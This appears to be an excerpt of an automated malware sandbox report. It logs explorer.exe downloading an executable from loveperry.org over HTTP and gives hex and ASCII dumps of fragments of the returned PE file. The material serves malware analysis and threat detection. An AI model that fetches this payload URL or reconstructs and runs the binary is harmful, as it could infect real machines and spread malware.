2023-10-13 14:06:10 UTC	301	OUT	GET /d1f678ec34d6fa8f1d632aaee203f5bf/288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: loveperry.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	104.21.86.8	443	192.168.2.4	49779	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:10 UTC	302	IN	HTTP/1.1 200 OK Date: Fri, 13 Oct 2023 14:06:10 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4312448 Connection: close Last-Modified: Fri, 13 Oct 2023 14:00:11 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eZ1%2FVv13phsfNEY%2FgnS5if2S4f21UmQ0tpdPs5o6ToV1kdQjlACe5iNQXLzH7X%2F1fhBX2UwGgQmoU9Tr1DYp2BalebaqnVebx8IztZbr%2BEhavtWFH51Ej56itLqSEVgw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81582442294814e0-LAX alt-svc: h3=":443"; ma=86400
2023-10-13 14:06:10 UTC	302	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 75 03 0d 8c 31 62 63 df 31 62 63 df 31 62 63 df 2f 30 e7 df 1c 62 63 df 2f 30 f6 df 27 62 63 df 2f 30 e0 df b3 62 63 df 16 a4 18 df 36 62 63 df 31 62 62 df b8 62 63 df 2f 30 e9 df 30 62 63 df 2f 30 f7 df 30 62 63 df 2f 30 f2 df 30 62 63 df 52 69 63 68 31 62 63 df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c3 fe d7 62 00 00 00 00 00 00 00 00 e0 00 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$u1bc1bc1bc/0bc/0'bc/0bc6bc1bbbc/00bc/00bc/00bcRich1bcPELb
2023-10-13 14:06:10 UTC	303	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-10-13 14:06:10 UTC	304	IN	Data Raw: 6e 74 65 72 00 00 00 46 6c 73 46 72 65 65 00 46 6c 73 53 65 74 56 61 6c 75 65 00 46 6c 73 47 65 74 56 61 6c 75 65 00 46 6c 73 41 6c 6c 6f 63 00 00 00 00 43 6f 72 45 78 69 74 50 72 6f 63 65 73 73 00 00 6d 00 73 00 63 00 6f 00 72 00 65 00 65 00 2e 00 64 00 6c 00 6c 00 00 00 63 63 73 00 55 54 46 2d 38 00 00 00 55 54 46 2d 31 36 4c 45 00 00 00 00 55 4e 49 43 4f 44 45 00 72 75 6e 74 69 6d 65 20 65 72 72 6f 72 20 00 00 0d 0a 00 00 54 4c 4f 53 53 20 65 72 72 6f 72 0d 0a 00 00 00 53 49 4e 47 20 65 72 72 6f 72 0d 0a 00 00 00 00 44 4f 4d 41 49 4e 20 65 72 72 6f 72 0d 0a 00 00 00 00 00 00 52 36 30 33 34 0d 0a 41 6e 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 68 61 73 20 6d 61 64 65 20 61 6e 20 61 74 74 65 6d 70 74 20 74 6f 20 6c 6f 61 64 20 74 68 65 20 43 20 72 75 6e 74 Data Ascii: nterFlsFreeFlsSetValueFlsGetValueFlsAllocCorExitProcessmscoree.dllccsUTF-8UTF-16LEUNICODEruntime error TLOSS errorSING errorDOMAIN errorR6034An application has made an attempt to load the C runt
2023-10-13 14:06:10 UTC	306	IN	Data Raw: 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 0d 0a 00 52 36 30 30 38 0d 0a 2d 20 6e 6f 74 20 65 6e 6f 75 67 68 20 73 70 61 63 65 20 66 6f 72 20 61 72 67 75 6d 65 6e 74 73 0d 0a 00 00 00 52 36 30 30 32 0d 0a 2d 20 66 6c 6f 61 74 69 6e 67 20 70 6f 69 6e 74 20 73 75 70 70 6f 72 74 20 6e 6f 74 20 6c 6f 61 64 65 64 0d 0a 00 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 52 75 6e 74 69 6d 65 20 4c 69 62 72 61 72 79 00 00 00 00 0a 0a 00 00 2e 2e 2e 00 3c 70 72 6f 67 72 61 6d 20 6e 61 6d 65 20 75 6e 6b 6e 6f 77 6e 3e 00 00 52 75 6e 74 69 6d 65 20 45 72 72 6f 72 21 0a 0a 50 72 6f 67 72 61 6d 3a 20 00 00 00 00 00 00 00 05 00 00 c0 0b 00 00 00 00 00 00 00 1d 00 00 c0 04 00 00 00 00 Data Ascii: - not enough space for environmentR6008- not enough space for argumentsR6002- floating point support not loadedMicrosoft Visual C++ Runtime Library...<program name unknown>Runtime Error!Program:
2023-10-13 14:06:10 UTC	307	IN	Data Raw: 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 69 72 74 75 61 6c 20 64 69 73 70 6c 61 63 65 6d 65 6e 74 20 6d 61 70 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 60 73 63 61 6c 61 72 20 64 65 6c 65 74 69 6e 67 20 64 Data Ascii: `eh vector vbase constructor iterator'`eh vector destructor iterator'`eh vector constructor iterator'`virtual displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting d
2023-10-13 14:06:10 UTC	308	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 28 00 28 00 28 00 28 00 28 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 81 00 81 00 81 00 81 00 81 00 81 00 01 Data Ascii: ((((( H
2023-10-13 14:06:10 UTC	310	IN	Data Raw: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df Data Ascii: abcdefghijklmnopqrstuvwxyz{\|}~
2023-10-13 14:06:10 UTC	311	IN	Data Raw: 65 6d 6f 78 69 64 6f 5c 7a 61 6c 65 6a 6f 68 61 79 61 72 75 20 74 75 6b 2e 70 64 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 bc 80 00 b4 2f 40 00 00 00 00 00 00 00 00 00 00 00 00 00 08 a0 80 00 34 2f 40 00 00 00 00 00 00 00 00 00 01 00 00 00 44 2f 40 00 4c 2f 40 00 00 00 00 00 08 a0 80 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 2f 40 00 00 00 00 00 00 00 00 00 00 00 00 00 50 b4 80 00 7c 2f 40 00 00 00 00 00 00 00 00 00 02 00 00 00 8c 2f 40 00 cc 2f 40 00 98 2f 40 00 00 00 00 00 c8 bc 80 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 b4 2f 40 00 00 00 00 00 00 00 00 00 01 00 00 00 c4 2f 40 00 98 2f 40 00 00 00 00 00 50 b4 80 00 01 Data Ascii: emoxido\zalejohayaru tuk.pdb/@4/@D/@L/@@4/@P\|/@/@/@/@@/@/@/@P
2023-10-13 14:06:10 UTC	312	IN	Data Raw: 3d 08 4b fa 02 b1 05 00 00 0f 85 88 00 00 00 57 8d 85 f0 f7 ff ff 50 57 57 57 ff 15 94 10 40 00 57 57 ff 15 d4 11 40 00 57 57 57 ff 15 90 10 40 00 57 57 ff 15 44 10 40 00 57 ff 15 cc 11 40 00 57 57 57 ff 15 7c 10 40 00 68 04 2e 40 00 57 e8 cf 07 00 00 59 59 8d 75 f0 e8 87 fb ff ff 8b ce e8 a0 fb ff ff 57 e8 a0 05 00 00 57 57 e8 a4 05 00 00 57 e8 d0 06 00 00 57 e8 42 08 00 00 83 c4 10 89 3c 24 e8 a6 fb ff ff dd d8 57 e8 b7 06 00 00 59 e8 ae 07 00 00 81 05 08 4b fa 02 4b 13 01 00 53 ff 35 08 4b fa 02 57 ff 15 34 10 40 00 a3 58 3a fa 02 e8 84 fe ff ff 8b 1d 5c 10 40 00 33 f6 ff d3 ff 15 b0 10 40 00 81 fe 47 6d 20 00 7f 09 46 81 fe a4 f6 04 00 7c e7 33 f6 39 3d 08 4b fa 02 76 42 81 3d 08 4b fa 02 a8 00 00 00 a1 0c 4b fa 02 8a 84 30 4b 13 01 00 8b 0d 58 3a fa Data Ascii: =KWPWWW@WW@WWW@WWD@W@WWW\|@h.@WYYuWWWWWB<$WYKKS5KW4@X:\@3@Gm F\|39=KvB=KK0KX:
2023-10-13 14:06:10 UTC	314	IN	Data Raw: 83 7d e4 00 75 37 ff 75 08 eb 0a 6a 04 e8 97 14 00 00 59 c3 56 6a 00 ff 35 bc bd 80 00 ff 15 cc 10 40 00 85 c0 75 16 e8 32 07 00 00 8b f0 ff 15 5c 10 40 00 50 e8 e2 06 00 00 89 06 59 e8 7f 20 00 00 c3 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 0b 22 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 ee 06 00 00 85 c0 74 0a e8 e5 06 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 6a 0a 6a 00 ff 75 08 e8 21 25 00 00 83 c4 0c 5d c3 8b ff 55 8b ec ff 75 0c 6a 0a 6a 00 ff 75 08 e8 33 25 00 00 83 c4 10 5d c3 8b ff 55 8b ec 5d e9 c6 ff ff ff 8b ff 55 8b ec 5d e9 d1 ff ff ff 8b ff 55 8b ec 51 53 56 57 ff 35 4c 5c fa 02 e8 9c 25 00 00 ff 35 48 5c fa 02 8b f8 89 7d fc e8 8c 25 00 00 8b f0 59 59 3b f7 0f 82 83 00 00 00 8b de 2b df 8d 43 04 Data Ascii: }u7ujYVj5@u2\@PY UQeVEPuu"u9EttM^Ujju!%]Uujju3%]U]U]UQSVW5L\%5H\}%YY;+C
2023-10-13 14:06:10 UTC	315	IN	Data Raw: 48 68 89 4e 04 8b 0e 3b 0d b0 ad 80 00 74 12 8b 0d cc ac 80 00 85 48 70 75 07 e8 83 52 00 00 89 06 8b 46 04 3b 05 d0 ab 80 00 74 16 8b 46 08 8b 0d cc ac 80 00 85 48 70 75 08 e8 f7 4a 00 00 89 46 04 8b 46 08 f6 40 70 02 75 14 83 48 70 02 c6 46 0c 01 eb 0a 8b 08 89 0e 8b 40 04 89 46 04 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 8b 45 08 a3 b0 bd 80 00 5d c3 8b ff 55 8b ec 81 ec 28 03 00 00 a1 88 a6 80 00 33 c5 89 45 fc 83 a5 d8 fc ff ff 00 53 6a 4c 8d 85 dc fc ff ff 6a 00 50 e8 91 53 00 00 8d 85 d8 fc ff ff 89 85 28 fd ff ff 8d 85 30 fd ff ff 83 c4 0c 89 85 2c fd ff ff 89 85 e0 fd ff ff 89 8d dc fd ff ff 89 95 d8 fd ff ff 89 9d d4 fd ff ff 89 b5 d0 fd ff ff 89 bd cc fd ff ff 66 8c 95 f8 fd ff ff 66 8c 8d ec fd ff ff 66 8c 9d c8 fd ff ff 66 8c 85 c4 fd ff ff 66 8c Data Ascii: HhN;tHpuRF;tFHpuJFF@puHpF@F^]UE]U(3ESjLjPS(0,fffff
2023-10-13 14:06:10 UTC	316	IN	Data Raw: 5e 3b c1 74 09 b8 00 80 00 00 66 09 45 0e dd 45 08 51 51 51 dd 1c 24 e8 e9 fe ff ff 83 c4 0c eb 22 51 dd d8 dd 45 08 51 51 dd 1c 24 e8 d4 fe ff ff c1 ea 04 81 e2 ff 07 00 00 83 c4 0c 81 ea fe 03 00 00 8b 45 10 89 10 5d c3 8b ff 55 8b ec 51 51 d9 ee 8b 45 08 dd 5d f8 89 45 f8 8b 45 14 33 45 0c 25 ff ff ff 7f 33 45 14 89 45 fc dd 45 f8 c9 c3 8b ff 55 8b ec 8b 45 08 8a 4d 10 53 56 57 33 ff 89 78 04 8b 45 08 33 db 89 78 08 8b 45 08 43 89 78 0c f6 c1 10 74 0d 8b 45 08 09 58 04 c7 45 10 8f 00 00 c0 f6 c1 02 74 0e 8b 45 08 83 48 04 02 c7 45 10 93 00 00 c0 84 cb 74 0e 8b 45 08 83 48 04 04 c7 45 10 91 00 00 c0 f6 c1 04 74 0e 8b 45 08 83 48 04 08 c7 45 10 8e 00 00 c0 f6 c1 08 74 0e 8b 45 08 83 48 04 10 c7 45 10 90 00 00 c0 8b 75 0c 8b 0e 8b 45 08 c1 e1 04 f7 d1 33 Data Ascii: ^;tfEEQQQ$"QEQQ$E]UQQE]EE3E%3EEEUEMSVW3xE3xECxtEXEtEHEtEHEtEHEtEHEuE3
2023-10-13 14:06:10 UTC	318	IN	Data Raw: 7d 08 01 74 15 7e 1e 83 7d 08 03 7f 18 e8 41 f7 ff ff c7 00 22 00 00 00 5d c3 e8 34 f7 ff ff c7 00 21 00 00 00 5d c3 8b ff 55 8b ec 8a 45 08 a8 20 74 04 6a 05 eb 17 a8 08 74 05 33 c0 40 5d c3 a8 04 74 04 6a 02 eb 06 a8 01 74 05 6a 03 58 5d c3 0f b6 c0 83 e0 02 03 c0 5d c3 8b ff 55 8b ec 83 ec 20 33 c0 8b 0c c5 c8 a1 80 00 3b 4d 0c 74 64 40 83 f8 1d 7c ee 33 c0 89 45 e4 85 c0 74 5e 8b 45 10 89 45 e8 8b 45 14 89 45 ec 8b 45 18 89 45 f0 8b 45 1c 56 8b 75 08 89 45 f4 8b 45 20 89 45 f8 8b 45 24 68 ff ff 00 00 ff 75 28 89 75 e0 89 45 fc e8 9d 01 00 00 8d 45 e0 50 e8 3a 49 00 00 83 c4 0c 85 c0 75 07 56 e8 2c ff ff ff 59 dd 45 f8 5e c9 c3 8b 04 c5 cc a1 80 00 eb 9b 68 ff ff 00 00 ff 75 28 e8 6a 01 00 00 ff 75 08 e8 07 ff ff ff dd 45 20 83 c4 0c c9 c3 8b ff 55 8b Data Ascii: }t~}A"]4!]UE tjt3@]tjtjX]]U 3;Mtd@\|3Et^EEEEEEEVuEE EE$hu(uEEP:IuV,YE^hu(juE U
2023-10-13 14:06:10 UTC	319	IN	Data Raw: 59 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 48 0b 00 00 c3 6a 0a e8 28 ff ff ff 59 c3 8b ff 55 8b ec 8b 45 08 56 8d 34 c5 d8 a2 80 00 83 3e 00 75 13 50 e8 22 ff ff ff 59 85 c0 75 08 6a 11 e8 a2 17 00 00 59 ff 36 ff 15 04 11 40 00 5e 5d c3 8b ff 55 8b ec 8b 0d 58 5c fa 02 a1 5c 5c fa 02 6b c9 14 03 c8 eb 11 8b 55 08 2b 50 0c 81 fa 00 00 10 00 72 09 83 c0 14 3b c1 72 eb 33 c0 5d c3 8b ff 55 8b ec 83 ec 10 8b 4d 08 8b 41 10 56 8b 75 0c 57 8b fe 2b 79 0c 83 c6 fc c1 ef 0f 8b cf 69 c9 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f0 8b 0e 49 89 4d fc f6 c1 01 0f 85 d3 02 00 00 53 8d 1c 31 8b 13 89 55 f4 8b 56 fc 89 55 f8 8b 55 f4 89 5d 0c f6 c2 01 75 74 c1 fa 04 4a 83 fa 3f 76 03 6a 3f 5a 8b 4b 04 3b 4b 08 75 42 bb 00 00 00 80 83 fa 20 73 19 8b ca d3 eb 8d 4c Data Ascii: YEEHj(YUEV4>uP"YujY6@^]UX\\\kU+Pr;r3]UMAVuW+yiDMIMS1UVUU]utJ?vj?ZK;KuB sL
2023-10-13 14:06:10 UTC	320	IN	Data Raw: 4d 08 8b 41 10 53 56 8b 75 10 57 8b 7d 0c 8b d7 2b 51 0c 83 c6 17 c1 ea 0f 8b ca 69 c9 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f4 8b 4f fc 83 e6 f0 49 3b f1 8d 7c 39 fc 8b 1f 89 4d 10 89 5d fc 0f 8e 55 01 00 00 f6 c3 01 0f 85 45 01 00 00 03 d9 3b f3 0f 8f 3b 01 00 00 8b 4d fc c1 f9 04 49 89 4d f8 83 f9 3f 76 06 6a 3f 59 89 4d f8 8b 5f 04 3b 5f 08 75 43 bb 00 00 00 80 83 f9 20 73 1a d3 eb 8b 4d f8 8d 4c 01 04 f7 d3 21 5c 90 44 fe 09 75 26 8b 4d 08 21 19 eb 1f 83 c1 e0 d3 eb 8b 4d f8 8d 4c 01 04 f7 d3 21 9c 90 c4 00 00 00 fe 09 75 06 8b 4d 08 21 59 04 8b 4f 08 8b 5f 04 89 59 04 8b 4f 04 8b 7f 08 89 79 08 8b 4d 10 2b ce 01 4d fc 83 7d fc 00 0f 8e a5 00 00 00 8b 7d fc 8b 4d 0c c1 ff 04 4f 8d 4c 31 fc 83 ff 3f 76 03 6a 3f 5f 8b 5d f4 8d 1c fb 89 5d 10 8b 5b 04 Data Ascii: MASVuW}+QiDMOI;\|9M]UE;;MIM?vj?YM_;_uC sML!\Du&M!ML!uM!YO_YOyM+M}}MOL1?vj?_]][
2023-10-13 14:06:10 UTC	322	IN	Data Raw: 00 00 00 8d 4e e0 be 00 00 00 80 d3 ee 09 37 8b 4d f8 85 c9 74 0b 89 0a 89 4c 11 fc eb 03 8b 4d f8 8b 75 f0 03 d1 8d 4e 01 89 0a 89 4c 32 fc 8b 75 f4 8b 0e 8d 79 01 89 3e 85 c9 75 1a 3b 1d 10 bf 80 00 75 12 8b 4d fc 3b 0d 6c 5c fa 02 75 07 83 25 10 bf 80 00 00 8b 4d fc 89 08 8d 42 04 5f 5e 5b c9 c3 cc cc 68 60 5a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 88 a6 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 88 a6 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 c8 37 00 00 Data Ascii: N7MtLMuNL2uy>u;uM;l\u%MB_^[h`Z@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN387
2023-10-13 14:06:10 UTC	323	IN	Data Raw: 03 c6 89 45 fc 8b 45 10 85 c0 74 02 89 38 f6 45 18 02 74 03 f7 5d fc 80 7d f8 00 74 07 8b 45 f4 83 60 70 fd 8b 45 fc eb 18 8b 45 10 85 c0 74 02 89 30 80 7d f8 00 74 07 8b 45 f4 83 60 70 fd 33 c0 5b 5f 5e c9 c3 8b ff 55 8b ec 33 c0 50 ff 75 10 ff 75 0c ff 75 08 39 05 b0 c3 80 00 75 07 68 b8 ad 80 00 eb 01 50 e8 ab fd ff ff 83 c4 14 5d c3 8b ff 55 8b ec 6a 00 ff 75 10 ff 75 0c ff 75 08 ff 75 14 e8 8e fd ff ff 83 c4 14 5d c3 8b ff 55 8b ec 56 ff 35 fc a3 80 00 8b 35 10 11 40 00 ff d6 85 c0 74 21 a1 f8 a3 80 00 83 f8 ff 74 17 50 ff 35 fc a3 80 00 ff d6 ff d0 85 c0 74 08 8b 80 f8 01 00 00 eb 27 be f0 13 40 00 56 ff 15 0c 11 40 00 85 c0 75 0b 56 e8 d0 06 00 00 59 85 c0 74 18 68 e0 13 40 00 50 ff 15 60 10 40 00 85 c0 74 08 ff 75 08 ff d0 89 45 08 8b 45 08 5e 5d Data Ascii: EEt8Et]}tE`pEEt0}tE`p3[_^U3Puuu9uhP]Ujuuuu]UV55@t!tP5t'@V@uVYth@P`@tuEE^]
2023-10-13 14:06:10 UTC	324	IN	Data Raw: 00 ff 35 18 bf 80 00 50 ff d6 85 c0 0f 84 bb 00 00 00 e8 27 05 00 00 ff 35 14 bf 80 00 e8 13 fb ff ff ff 35 18 bf 80 00 a3 14 bf 80 00 e8 03 fb ff ff ff 35 1c bf 80 00 a3 18 bf 80 00 e8 f3 fa ff ff ff 35 20 bf 80 00 a3 1c bf 80 00 e8 e3 fa ff ff 83 c4 10 a3 20 bf 80 00 e8 e0 e8 ff ff 85 c0 74 65 68 62 62 40 00 ff 35 14 bf 80 00 e8 3d fb ff ff 59 ff d0 a3 f8 a3 80 00 83 f8 ff 74 48 68 14 02 00 00 6a 01 e8 8b 00 00 00 8b f0 59 59 85 f6 74 34 56 ff 35 f8 a3 80 00 ff 35 1c bf 80 00 e8 0a fb ff ff 59 ff d0 85 c0 74 1b 6a 00 56 e8 e7 fb ff ff 59 59 ff 15 28 11 40 00 83 4e 04 ff 89 06 33 c0 40 eb 07 e8 92 fb ff ff 33 c0 5f 5e c3 8b ff 55 8b ec 56 57 33 f6 ff 75 08 e8 b3 dc ff ff 8b f8 59 85 ff 75 27 39 05 24 bf 80 00 76 1f 56 ff 15 30 11 40 00 8d 86 e8 03 00 00 Data Ascii: 5P'5555 tehbb@5=YtHhjYYt4V55YtjVYY(@N3@3_^UVW3uYu'9$vV0@
2023-10-13 14:06:10 UTC	326	IN	Data Raw: ff 56 e8 74 40 00 00 56 e8 5f 40 00 00 56 e8 47 3e 00 00 56 e8 a5 0b 00 00 56 e8 e5 d2 ff ff 68 56 69 40 00 e8 b3 f5 ff ff 83 c4 24 a3 00 a4 80 00 5e c3 a1 40 5c fa 02 56 6a 14 5e 85 c0 75 07 b8 00 02 00 00 eb 06 3b c6 7d 07 8b c6 a3 40 5c fa 02 6a 04 50 e8 64 fb ff ff 59 59 a3 20 4c fa 02 85 c0 75 1e 6a 04 56 89 35 40 5c fa 02 e8 4b fb ff ff 59 59 a3 20 4c fa 02 85 c0 75 05 6a 1a 58 5e c3 33 d2 b9 08 a4 80 00 eb 05 a1 20 4c fa 02 89 0c 02 83 c1 20 83 c2 04 81 f9 88 a6 80 00 7c ea 6a fe 5e 33 d2 b9 18 a4 80 00 57 8b c2 c1 f8 05 8b 04 85 20 4b fa 02 8b fa 83 e7 1f c1 e7 06 8b 04 07 83 f8 ff 74 08 3b c6 74 04 85 c0 75 02 89 31 83 c1 20 42 81 f9 78 a4 80 00 7c ce 5f 33 c0 5e c3 e8 ca 41 00 00 80 3d 50 bf 80 00 00 74 05 e8 93 3f 00 00 ff 35 20 4c fa 02 e8 92 Data Ascii: Vt@V_@VG>VVhVi@$^@\Vj^u;}@\jPdYY LujV5@\KYY LujX^3 L \|j^3W Kt;tu1 Bx\|_3^A=Pt?5 L
2023-10-13 14:06:10 UTC	327	IN	Data Raw: 02 03 c6 39 18 74 49 68 a0 0f 00 00 8b 00 83 c0 20 50 e8 b3 30 00 00 59 59 85 c0 a1 20 4c fa 02 75 13 ff 34 06 e8 11 ca ff ff 59 a1 20 4c fa 02 89 1c 06 eb 1b 8b 04 06 83 c0 20 50 ff 15 04 11 40 00 a1 20 4c fa 02 8b 3c 06 89 7d e4 89 5f 0c 3b fb 74 16 81 67 0c 00 80 00 00 89 5f 04 89 5f 08 89 1f 89 5f 1c 83 4f 10 ff c7 45 fc fe ff ff ff e8 0b 00 00 00 8b c7 e8 ca ea ff ff c3 8b 7d e4 6a 01 e8 a7 de ff ff 59 c3 53 56 57 8b 54 24 10 8b 44 24 14 8b 4c 24 18 55 52 50 51 51 68 18 70 40 00 64 ff 35 00 00 00 00 a1 88 a6 80 00 33 c4 89 44 24 08 64 89 25 00 00 00 00 8b 44 24 30 8b 58 08 8b 4c 24 2c 33 19 8b 70 0c 83 fe fe 74 3b 8b 54 24 34 83 fa fe 74 04 3b f2 76 2e 8d 34 76 8d 5c b3 10 8b 0b 89 48 0c 83 7b 04 00 75 cc 68 01 01 00 00 8b 43 08 e8 52 49 00 00 b9 01 Data Ascii: 9tIh P0YY Lu4Y L P@ L<}_;tg___OE}jYSVWT$D$L$URPQQhp@d53D$d%D$0XL$,3pt;T$4t;v.4v\H{uhCRI
2023-10-13 14:06:10 UTC	328	IN	Data Raw: ff 40 59 83 f8 3c 76 38 56 e8 4b ce ff ff 83 ee 3b 03 c6 6a 03 b9 84 c2 80 00 68 1c 1a 40 00 2b c8 51 50 e8 cd 46 00 00 83 c4 14 85 c0 74 11 33 f6 56 56 56 56 56 e8 c0 ca ff ff 83 c4 14 eb 02 33 f6 68 18 1a 40 00 53 57 e8 33 46 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 9c ca ff ff 83 c4 14 8b 45 fc ff 34 c5 a4 a6 80 00 53 57 e8 0e 46 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 77 ca ff ff 83 c4 14 68 10 20 01 00 68 f0 19 40 00 57 e8 81 44 00 00 83 c4 0c eb 32 6a f4 ff 15 44 11 40 00 8b d8 3b de 74 24 83 fb ff 74 1f 6a 00 8d 45 f8 50 8d 34 fd a4 a6 80 00 ff 36 e8 96 cd ff ff 59 50 ff 36 53 ff 15 40 11 40 00 5f 5e 5b c9 c3 6a 03 e8 d0 46 00 00 59 83 f8 01 74 15 6a 03 e8 c3 46 00 00 59 85 c0 75 1f 83 3d 24 a0 80 00 01 75 16 68 fc 00 00 00 e8 29 